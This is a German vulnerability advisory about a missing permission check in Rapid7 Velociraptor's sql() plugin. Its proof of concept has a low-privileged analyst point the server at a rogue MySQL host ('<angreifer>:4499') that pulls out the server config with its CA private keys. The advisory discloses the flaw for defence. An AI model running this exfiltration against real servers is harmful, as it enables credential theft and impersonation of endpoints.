Rapid7 Velociraptor: Beliebiges Lesen von Serverdateien durch niedrig privilegierten Analysten über ungated sql()-VQL-Plugin
Das sql()-VQL-Plugin von Rapid7 Velociraptor führt keine Berechtigungsprüfung durch. Ein Analyst mit der niedrigsten Abfragerolle liest über einen Rogue-MySQL-Server und LOAD DATA LOCAL INFILE beliebige Dateien des root-laufenden Servers, einschließlich CA-Privatschlüssel und /etc/shadow.
Advisory-ID: TP-2026-059
Produkt: Rapid7 Velociraptor (Open-Source-DFIR-Plattform von Rapid7 für Endpoint-Überwachung und -Forensik, self-hosted)
Schwachstellentyp: Fehlende Autorisierung (CWE-862)
CVE: CVE-2026-85737
CVSS 3.1: 6.5 (Mittel) · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Hersteller-Advisory: GHSA-9qq5-422f-33c2
Betroffene Versionen: <= 0.77.1
Behoben in: noch nicht veröffentlicht
Gemeldet: 18. Juli 2026
Zusammenfassung
Rapid7 Velociraptor ist eine Open-Source-DFIR-Plattform von Rapid7 für Endpoint-Überwachung und -Forensik, deren sql()-VQL-Plugin einen vom Aufrufer gelieferten Datenbanktreiber und Verbindungsstring ohne Berechtigungsprüfung ausführt (vql/parsers/sql/sql.go:93, SQLPlugin.Call). Für driver='mysql' oder driver='postgres' reicht GetHandleOther (sql.go:39) den Verbindungsstring direkt an sql.Open (sql.go:51) weiter und führt die Abfrage aus (sql.go:159). Das Plugin deklariert FILESYSTEM_READ nur als Info().Permissions-Metadatum (sql.go:219), das zur Laufzeit nie konsultiert wird, während jedes verwandte Netzwerk-Plugin CheckAccess(NETWORK) in seinem eigenen Body aufruft. Die eingebaute Analyst-Rolle besitzt ANY_QUERY, aber weder FILESYSTEM_READ noch NETWORK (acls/roles.go:222) und erreicht diese Senke über die Notebook-Query-API. Ergebnis: Ein niedrig privilegierter Analyst öffnet beliebige ausgehende TCP-Verbindungen und liest über einen Rogue-MySQL-Server mit LOAD DATA LOCAL INFILE jede Datei, die der als Root laufende Server lesen kann, einschließlich des CA-Privatschlüssels.
Ursache
SQLPlugin.Call (vql/parsers/sql/sql.go:93) parst die vom Aufrufer gelieferten Argumente driver, connstring und query und erreicht handle.Query (sql.go:159) ohne einen vql_subsystem.CheckAccess-Aufruf in seinem Body. Für driver='mysql' oder driver='postgres' kommt der Handle von GetHandleOther (sql.go:39), das den Angreifer-Verbindungsstring an sql.Open (sql.go:51) weitergibt. Das Plugin deklariert seine beabsichtigte Berechtigung nur als Metadatum VQLMetadata().Permissions(acls.FILESYSTEM_READ) (sql.go:219), aber MetadataBuilder.Permissions speichert lediglich einen String (vql/metadata.go:19), der nur vom Reflection-Exporter (api/reflect.go:82-110) gelesen wird, nie von der Query-Engine. Jedes verwandte Netzwerk-Plugin erzwingt CheckAccess(acls.NETWORK) in seinem eigenen Body, sodass die Auslassung in sql() ein Durchsetzungsfehler ist.
Proof of Concept
# Als Analyst: Bestaetigung, dass die geschuetzte Variante den Zugriff verweigert:
SELECT * FROM sql(driver='sqlite', accessor='file',
file='/etc/passwd', query='SELECT 1')
=> PermissionDenied: [FILESYSTEM_READ]
# Rogue-MySQL-Server auf einem Angreifer-Host starten,
# der auf jede Abfrage mit LOAD DATA LOCAL INFILE antwortet.
# Als derselbe Analyst ueber die Notebook-Query-API:
POST /api/v1/UpdateNotebookCell
{"type":"vql","input":"SELECT * FROM sql(driver='mysql',
connstring='x:y@tcp(<angreifer>:4499)/z?allowAllFiles=true',
query='SELECT 1')"}
# Rogue-Server empfaengt:
# EXFIL 12860 Bytes /etc/velociraptor/server.config.yaml
# enthaelt: CA private_key, gw_private_key, Frontend private_key
Auswirkung
- CA- und Frontend-RSA-Privatschlüssel offengelegt: Client-Zertifikate fälschen, den Server gegenüber jedem registrierten Endpoint imitieren.
- Jede root-lesbare Datei auf dem Server-Host offengelegt (
/etc/shadow, Datastore-Nutzerdaten mit Passwort-Hashes). - Beliebige ausgehende TCP-Verbindungen vom Server-Host über dieselbe Senke.
- Ausgelöst durch die niedrigste eingebaute Abfragerolle, Standardkonfiguration, eine Abfrage, keine Admin-Interaktion.
Referenzen
Steckt so etwas in Ihrer Software?
Diese Schwachstelle hat unser Team im Rahmen seiner Arbeit gefunden. Lassen Sie Ihre Anwendungen von denselben Spezialisten prüfen, mit einem Penetrationstest von turingpoint.
